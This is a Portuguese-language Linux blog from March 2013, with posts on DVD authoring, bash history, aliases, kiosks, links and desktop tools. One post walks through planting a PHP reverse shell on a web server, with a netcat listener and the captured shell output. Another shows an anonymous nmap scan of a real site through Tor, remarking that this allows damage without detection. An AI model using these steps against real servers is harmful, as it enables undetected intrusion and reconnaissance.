quinta-feira, 28 de março de 2013

Edição de videos com 2ManDVD

Em novembro de 2011 eu postei sobre o ManDVD e o OpenShot, que são ferramentas para edição e criação de videos e dvd. Agora vou mostrar o 2ManDVD.




Ao abri-lo, a seguinte tela é mostrada para a escolha do tipo de projeto.


O software é bem intuitivo. Basicamente basta arrastar os videos até a aba Médias e montar os menus.


Árvore de menu e videos

Novo menu pronto para ser configrado


Renderizando o dvd

Tem coisas que eu acho mais fácil fazer no ManDVD, outras no 2ManDVD, outras no OpenShot, e outras ainda no OpenMovieEditor. Juntando essas quatro ferramentas dá prá editar e criar videos com vários efeitos, trilha sonora, cortes, sobreposição, menus, slides, etc.

O 2ManDVD está disponível nos repositórios de multimidia do Debian (inclua a linha "deb http://www.deb-multimedia.org/ stable main non-free" no sources.list) e pode ser instalado via apt-get.


quarta-feira, 27 de março de 2013

Site sobre Bash Script

Para quem quer aprender Bash Script, ou incrementar seus programas, o site http://aurelio.net/shell/canivete é uma ótima referência. Sempre o consulto quando tenho dúvidas sobre o assunto.

Outro site que também merece ser visitado é o http://aurelio.net/shell/dialog. No mesmo esquema do anterior, mas voltado para o Dialog, ferramenta usada para deixar os scripts bash com uma aparência mais bonita.


terça-feira, 26 de março de 2013

Como trabalhar com o histórico de comandos

O terminal texto, mais precisamento o Bash, possui duas propriedades muito úteis que facilitam a nossa vida: o histórico de comandos, e o complemento de comandos.

O complemento funciona como um encurtador de comandos e nomes de arquivos. Por exemplo, quando se quer executar o comando chkrootkit, ao se digitar chk e precionar TAB duas vezes, o Bash vai retornar todos os comandos que começam com chk. Se houver apenas um único comando que começa com a sequencia digitada, então no primeiro TAB o comando será completado. O mesmo para nomes de arquivos. Se você estiver no diretório raiz (/) e quiser entrar no /etc, basta digitar "cd e" e apetar TAB para que o comando seja preenchido com "cd etc".

O histórico lista os últimos comandos digitados. Usando as teclas "seta acima" e "seta abaixo" você pode navegar pelos últimos comandos digitados. Você também pode digitar "history" para ver a lista completa do histórico.

$ history
599 ping -c 1 8.8.8.8 | grep icmp | cut -d" " -f7 | cut -d"=" -f2 | sed 's/\./\,/g'
600 ssh -v 200.144.25.50
601 clear
602 ping -c 1 172.20.1.17
603 clear
604 env | grep HIST
605 env
606 vi .bashrc
607 vi .bash_history
608 wc -l .bash_history
609 ls -lh .bash_history
610 vi .bashrc
611 ssh ricardoolonca@172.20.1.146
612 ls -lh .bash
613 ls -lh .bash_history
614 wc -l .bash_history
615 vi .bashrc
616 cd /
617 history

Para executar o comando número 599, basta digitar:

$ !599
ping -c 1 8.8.8.8 | grep icmp | cut -d" " -f7 | cut -d"=" -f2 | sed 's/\./\,/g'
4,60

O histórico fica armazenado em .bash_history, no diretório raiz dos usuários. Por padrão, o histórico mantém os últimos 1000 comandos (em algumas distros é 500), e o tamanho do arquivo não pode passar de 2Mb. Para alterar essas opções, abra o arquivo .bashrc e altere os valores de HISTSIZE e HISTFILESIZE. Para limitar em 10.000 comandos e 10Mb, altere conforme abaixo.

HISTSIZE=10000
HISTFILESIZE=10000

Além disso, há alguns atalhos interessantes. Por exemplo, para repetir o último comandos digite:

$ "!!"

Para repetir o último comando que começa com "ssh" use:

$ "!ssh"

Para executar o último comandos mas substituindo o texto 146 por 147, digite:

$ ^146^147

quinta-feira, 21 de março de 2013

Criando alias e funções no Linux

Quem administra vários servidores Linux como eu já deve estar acostumado com a linha de comando. O que os outros chamam de "aquela horrível tela preta", nós chamamos de "poderoso console texto". Mas é bem verdade que, às vezes, os dedos cansam de tanto digitar longos comandos. Para amenizar isso é que existem os alias e as funções.

Um alias é uma pequena modificação nas opções padrão de um comando. Por exemplo, para listar arquivos eu sempre uso "ls -la", para que a listagem seja mais detalhada e os arquivos ocultos também sejam mostrados. Então eu posso criar um alias chamado "ls" para o comando "ls -la".


$ ls
CHANGELOG.txt  config.php  css images index.html  js languages  lib LICENSE.txt  panes  rdp.php  rdpweb  README.txt  screen.php
$ alias ls="ls -la"

$ ls

total 72
drwxr-xr-x 9 ricardo ricardo 4096 Mar 21 08:57 .
drwxr-xr-x 6 ricardo ricardo 4096 Mar 21 10:37 ..
-rw-r--r-- 1 ricardo ricardo 3835 Ago 10  2010 CHANGELOG.txt
-rw-r--r-- 1 ricardo ricardo 2797 Jul 26  2010 config.php
drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 css
drwxr-xr-x 5 ricardo ricardo 4096 Ago 10  2010 images
-rw-r--r-- 1 ricardo ricardo 5697 Jul 24  2010 index.html
drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 js
drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 languages
drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 lib
-rw-r--r-- 1 ricardo ricardo 1089 Jul 24  2010 LICENSE.txt
drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 panes
-rw-r--r-- 1 ricardo ricardo  414 Jul 24  2010 rdp.php
drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 rdpweb
-rw-r--r-- 1 ricardo ricardo  955 Jul 24  2010 README.txt
-rw-r--r-- 1 ricardo ricardo 4963 Jul 24  2010 screen.php
$

Eu também uso um alias para o Remote Desktop sempre abrir com resolução de 1200x800.

$ alias rdesktop='rdesktop -g1200x800'

Para ver os alias já configurados em teu perfil digite:

$ alias
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias gravar='ffmpeg -f x11grab -s 1440x900 -r 25 -i :0.0 -sameq out.mpg 2> /dev/null'
alias grep='grep --color=auto'
alias konqueror='konqueror --select ~'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='ls'
alias rdesktop='rdesktop -g1200x800'

Para apagar o alias "rdesktop" é só digitar:

$ unalias rdesktop

Agora, se você precisa de algo mais elaborado, então uma função será mais útil. Por exemplo, vamos criar uma função que emita um aviso caso o Google demore mais do que 4 milisegundos para responder ao ping.

$ function aviso(){
    x=`ping -c 1 8.8.8.8 | grep icmp | cut -d" " -f7 | cut -d"=" -f2 | cut -d"." -f1`
    if [ $x -gt 4 ]
    then
        echo "Está lento"
    fi
}

Agora, basta digitar, de qualquer lugar do sistema, o comando "aviso" para testar o site.

Mas esses alias e funções se perdem quando o terminal é fechado. Para que isso não ocorra, basta colocar esses comando no arquivo .bashrc localizado no home do usuário.


quarta-feira, 20 de março de 2013

Além da navegação anônima com Proxychain e Tor

Há pouco mais de um ano eu escrevi sobre o Tor e sigilo na Internet. O artigo pode ser lido em http://ricardoolonca.blogspot.com.br/2011/11/tor-sigilo-na-internet.html. Nele eu mostro como navegar na web de forma anônima. Agora, vou mostrar como usar outros serviços, além do navegador, de forma anônima.

Primeiramente instale o Tor. É ele quem cuida da navegação anônima.

# apt-get install tor

Em seguida, instale o proxychains. Ele funciona como um proxy, passando as requisições da aplicação para o tor.

# apt-get install proxychains

Simples assim! Agora, por exemplo, para fazer um scan em um servidor de forma anônima, use o seguinte comando.

$ proxychains nmap www.cmais.com.br
ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 5.00 ( http://nmap.org ) at 2013-03-20 15:31 BRT
|DNS-request| www.cmais.com.br
|S-chain|-<>-127.0.0.1:9050-<><>-4.2.2.2:53-<><>-OK
|DNS-response| www.cmais.com.br is 200.136.27.13
|S-chain|-<>-127.0.0.1:9050-<><>-200.136.27.13:80-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-200.136.27.13:80-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-200.136.27.13:443-<--denied p="">Interesting ports on fpasrv021.tvcultura.com.br (200.136.27.13):
PORT    STATE  SERVICE
80/tcp  open   http
443/tcp closed https

Nmap done: 1 IP address (1 host up) scanned in 3.19 seconds
$

Nem todos os programa vão funcionar, mas já dá para fazer um estrago sem ser detectado.

terça-feira, 19 de março de 2013

Como configurar um quiosque

Um quiosque é um equipamento com acesso público que fornece algum serviço, geralmente navegação. Neste artigo vamos configurar um quiosque contendo apenas um navegador.

O primeiro passo é instalar sua distribuição Linux preferência. Eu sugiro o Debian, e com menos pacotes possíveis. Instale o ambiente gráfico de sua escolha. Crie um usuário (usaei quiosque) e personalize o Firefox.  Não esqueça de deixá-lo em tela cheia.

Após as personalizações, vamos aos procedimentos para fazer com que o Firefox abra no boot.

Primeiro, instalale o aplicativo mingetty.

$ apt-get install mingetty

Após, abra o arquivo /etc/inittab a altere a linha...

1:2345:respawn:/sbin/getty 38400 tty1

por...

1:2345:respawn:/sbin/mingetty --autologin quiosque tty1

Isso fará com que o o usuário quiosque esteja logado automaticamente no boot. Após, abra o arquivo .bashrc do usuário quiosque e inclua a seguinte linha no final do arquivo.

xinit /usr/bin/firefox

Reinicie a máquina e você verá o quiosque funcionando.



sexta-feira, 8 de março de 2013

Shell reverso em Php

Shel reverso é uma técnica de invasão que permite acessar um shell remoto. No endereço http://pentestmonkey.net/tools/web-shells/php-reverse-shell há uma ferramenta escrita em Php que permite aplicar essa técnica em um servidor web.

Se você possui permissão para gravar arquivos no servidor web, você pode fazer o download do script no site acima e testar a invasão.

Antes de enviar o script php para o site, altere as seguintes linhas:

$ip = '172.20.120.4';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

$ip é o endereço da tua estação de trabalho. Quando você acessara  página pelo seu navegador, o script vai abrir uma conexão com esse ip. 

$port é a porta que o script vai se conectar na tua estação.

Faça o upload do arquivo. Após abra um terminal texto e execute:

$ nc -l 1234

Agora, acesse o script instalado no site. Por exemplo, http://servidor/php-reverse-shell.php

Em teu terminal irá aparecer shell reverso.

Linux fpawks0703 3.2.0-3-amd64 #1 SMP Mon Jul 23 04:46:29 UTC 2012 x86_64 GNU/Linux
 10:57:47 up 1 day,  2:14,  3 users,  load average: 1.04, 1.21, 1.28
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
ricardo  tty7     :0               Thu08   26:14m  3:55m  0.26s gnome-session
ricardo  pts/0    :0.0             Thu08   28:42   0.27s  0.11s ssh ricardoolon
ricardo  pts/1    :0.0             08:13   59.00s  0.15s  0.00s nc -l 1234
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Repare que agora você está conectado ao servidor pelo usuário www-data em um shell, onde você pode executar os comandos como qualquer outro usuário.

Há um video demostrando o php-reverse-shell em http://www.youtube.com/watch?v=A0Ks4MfhVIE






quinta-feira, 7 de março de 2013

Criando atalhos no Linux

Quem usa Windows está acostumado a criar atalhos para aplicações e arquivos. No Linux esse recurso também existe, mas com algumas opções a mais. Uma forma simples de criar atalhos é usando o comando "ls". Por exemplo, vamos criar um atalho para a pasta /home/ricardo/tmp/cmais em /tmp/cmais.

$ ln -s /home/ricardo/tmp/cmais /tmp/cmais
$ ls -l /tmp/
total 4
lrwxrwxrwx 1 ricardo    ricardo      23 Mar  7 13:43 cmais -> /home/ricardo/tmp/cmais
srw-rw-rw- 1 root       root          0 Mar  7 08:43 cmg-statistic
drwxr-xr-x 2 ricardo    ricardo    4096 Mar  7 13:32 hsperfdata_ricardo
drwxr-xr-x 2 tomcat6    tomcat6    4096 Mar  7 08:44 hsperfdata_tomcat6
$

Podemos perceber pelo comando ls que a pasta cmais aponda ( ->) para /home/ricardo/tmp/cmais. Esse tipo de atalho funciona igual no Windows.

A segunda forma é usando o ls sem parâmetros.

# ln /home/ricardo/tmp/cmais/Cmais_20130115.html /home/cmais 
# ls -l /home/cmais 
-rw-r--r-- 2 ricardo ricardo 3882 Mar  1 17:02 /home/cmais 
#

A diferença é que esse tipo de link, chamado de hard link, só pode ser feito dentro da mesma partição. Dependendo do sistema de arquivos você pode inclusive dar permissões diferentes para os arquivos.

Uma terceira forma é usando o mount. O comando "mount" permite que uma parte do sistema de arquivos (uma pasta, por exemplo) seja montada em outro lugar do disco.

Por exemplo, vamos montar a pasta /home/ricardo/tmp/cmais na pasta /tmp/cmais.


# mount --bind /home/ricardo/tmp/cmais /tmp/cmais/
# ls -l /tmp/cmais/
total 236
-rw-r--r-- 1 ricardo ricardo   3130 Mar  1 17:02 Cmais_20130115-chart.html
-rw-r--r-- 1 ricardo ricardo   3882 Mar  1 17:02 Cmais_20130115.html
-rw-r--r-- 1 ricardo ricardo 134792 Mar  1 17:02 Cmais_20130115.png
-rw-r--r-- 1 ricardo ricardo   4047 Mar  1 17:02 Cmais_20130115-resources.html
-rw-r--r-- 1 ricardo ricardo  21258 Mar  1 17:02 Cmais_20130115.res.png
-rw-r--r-- 1 ricardo ricardo  67763 Mar  1 17:02 Cmais_20130115-tasks.html
lrwxrwxrwx 1 ricardo ricardo     25 Fev 15 17:01 index.html -> Cmais_20130115-chart.html
#

O que alterarmos na pasta original será automaticamente refletido na pasta montada.

Lembre-se que isso é apenas para facilitar as coisas, quando, por exemplo, o caminho de uma pasta fica muito grande (quem trabalha com java sabe do que estou falando). Isso não vale como um backup!


quarta-feira, 6 de março de 2013

Conceito de portas TCP/UDP

Há cerca de um ano escrevi um artigo para o Vol explicando o que são portas Tcp/Udp. Nele eu ainda mostro como encontrar as portas abertas em sua máquina, quais aplicações estão sendo usando essas portas, e quais portas estão abertas em um micro remoto usando Nmap.

O endereço do artigo é http://www.vivaolinux.com.br/artigo/Entendendo-TCP-IP-(Parte-5)-Portas-TCP-UDP/


terça-feira, 5 de março de 2013

Pidgin, um ótimo cliente de Msn, Gtalk, e outros mensageiros instantâneos.

No mundo Linux há várias formas de fazer a mesma coisa, assim como vários programas que fazem a mesma tarefa. Cada um escolhe o que mais gostar.

Para cliente de mensagem instantânea, como Mns, Gtalk e Jabber, eu uso o Pidgin.



O Pidgin tem suporte a uma variadade de serviços, como Msn, Gtalk, Jabber, Yahoo, Icq, Irc, Twitter, Skype, e uma infinidade de outros. Eu posso me logar em várias contas ao mesmo tempo e mistrurar os contatos entre os serviços de forma que eu não preciso saber qual o serviço que meu contato está usando.


Eu posso também criar ações para quando o meu contato se conectar, por exemplo, enviando-lhe um arquivo, ou mensagem, emitir um som, abrir uma janela, etc.


O Pidgin está disponível na maioria das distribuições e, no Debian, basta digitar, como root:

$ apt-get install pidgin





sexta-feira, 1 de março de 2013

Parcellite controla bem a área de transferência

Quem nunca usou CTRL+C CTRL+V?

Para quem não sabe do que estou falando (em que mundo você vive?) ao selecionar um texto e apertar CTRL e a letra "C", o texto selecionado é copiado para uma área da memória conhecida como "Area de transferência". Ao precionar CTRL+V, o texto (ou outro objeto) vai ser "colado" onde o cursor estiver.

Acontece que essa operação só permite "copiar e colar" um objeto por vêz (texto, figura, arquivo, etc).

O Parcellite pode gerenciar vários objetos na área de transferência. Seu funcionamento é simples: ao executá-lo, um ícone é criado na bandeja do desktop.


Ao clicar no ícone em questão, uma lista dos últimos objetos é mostrada. Basta clicar no objeto em questão e apertar CTRL+V para colá-lo onde você precisa.


Você pode configurar o número de ítens guardados clicando no ícone do Parcellite com o botão direito e escolhendo "Preferências".